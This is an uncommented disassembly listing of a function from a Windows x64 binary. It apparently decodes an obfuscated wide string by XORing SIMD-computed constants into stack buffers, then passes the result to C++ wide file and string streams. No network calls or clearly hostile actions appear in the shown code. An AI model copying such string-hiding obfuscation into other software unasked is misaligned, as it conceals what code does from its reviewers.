movq xmm12, qword [0x14026be80]
movq qword [rbp - 0x30], xmm12
movzx eax, word [0x14026be88]
mov word [rbp - 0x28], ax
mov r9d, r15d
cmp ebx, 2
jl 0x1401f8081
movdqa xmm6, xmmword [0x14026e2d0]
movdqa xmm7, xmmword [0x14026e2f0]
movdqa xmm9, xmmword [str.kkkkmmmm]
movdqa xmm8, xmmword [0x14026e300]
movdqa xmm10, xmmword [str.________]
movdqa xmm5, xmmword [0x14026e190]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm9
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm10
paddw xmm3, xmm0
movq xmm1, xmm11
xorps xmm3, xmm1
movq qword [rbp - 0x40], xmm3
movdqa xmm5, xmmword [0x14026e1b0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm9
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm10
paddw xmm3, xmm0
movq xmm1, qword [rbp - 0x38]
xorps xmm3, xmm1
movq qword [rbp - 0x38], xmm3
movdqa xmm5, xmmword [0x14026e1d0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm8
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm9
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm10
paddw xmm3, xmm0
movq xmm1, xmm12
xorps xmm3, xmm1
movq qword [rbp - 0x30], xmm3
mov r9d, 0xc
mov eax, r9d
lea r10, [rbp - 0x40]
lea r10, [r10 + rax*2]
nop dword [rax]
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul r8d, eax, 0x6b
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx ecx, dx
imul ecx, edi
sub cx, r8w
lea eax, [r9 + 0x1f]
add ax, ax
add cx, ax
xor word [r10], cx
inc r9d
lea r10, [r10 + 2]
cmp r9d, 0xd
jl 0x1401f8090
lea rdx, [rbp - 0x40]
mov rcx, r11
call fcn.140237e70
lea rcx, [rbp + 0x138]
call fcn.1402360a0
test rax, rax
jne 0x1401f8121
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x130]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::setstate_int__bool____ptr64]
nop
lea rcx, [rbp - 0x20]
call fcn.140236670
movups xmm0, xmmword [rbp]
movups xmmword [r13], xmm0
movups xmm1, xmmword [rbp + 0x10]
movups xmmword [r13 + 0x10], xmm1
movdqa xmm0, xmmword [0x14026e170]
movdqu xmmword [rbp + 0x10], xmm0
mov word [rbp], r15w
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0x130], rax
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x12c], edx
lea rcx, [rbp + 0x138]
call fcn.140233430
lea rcx, [rbp + 0x140]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
lea rcx, [rbp + 0x1d8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
nop
lea rcx, [rbp]
call fcn.140236670
nop
lea rcx, [rbp + 0x20]
call fcn.140236670
nop
mov rcx, qword [rbp + 0x40]
movsxd rdx, dword [rcx + 4]
lea rax, vtable.std::basic_ostringstream_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov qword [rbp + rdx + 0x40], rax
mov rcx, qword [rbp + 0x40]
movsxd rdx, dword [rcx + 4]
lea r8d, [rdx - 0x88]
mov dword [rbp + rdx + 0x3c], r8d
jmp 0x1401f82b6
xor ebx, ebx
mov word [rsp + 0x30], bx
movups xmmword [r13], xmm0
mov qword [r13 + 0x10], rbx
mov qword [r13 + 0x18], rbx
lea rax, [rsp + 0x30]
nop dword [rax]
inc rsi
cmp word [rax + rsi*2], bx
jne 0x1401f8210
mov r8, rsi
lea rdx, [rsp + 0x30]
mov rcx, r13
call fcn.140239ca0
nop
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x130], rdi
mov rax, qword [rbp + 0x130]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x12c], edx
lea rcx, [rbp + 0x138]
call fcn.140233430
lea rcx, [rbp + 0x140]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
lea rcx, [rbp + 0x1d8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
nop
lea rcx, [rbp]
call fcn.140236670
nop
lea rcx, [rbp + 0x20]
call fcn.140236670
nop
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostringstream_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov qword [rbp + rcx + 0x40], rax
mov rax, qword [rbp + 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x88]
mov dword [rbp + rcx + 0x3c], edx
lea rcx, [rbp + 0x48]
call fcn.140233ad0
lea rcx, [rbp + 0x50]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
lea rcx, [rbp + 0xc8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::destructor_void____ptr64]
mov rax, r13
mov rcx, qword [rbp + 0x17e0]
xor rcx, rsp
call fcn.14025ba00
lea r11, [rsp + 0x1960]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret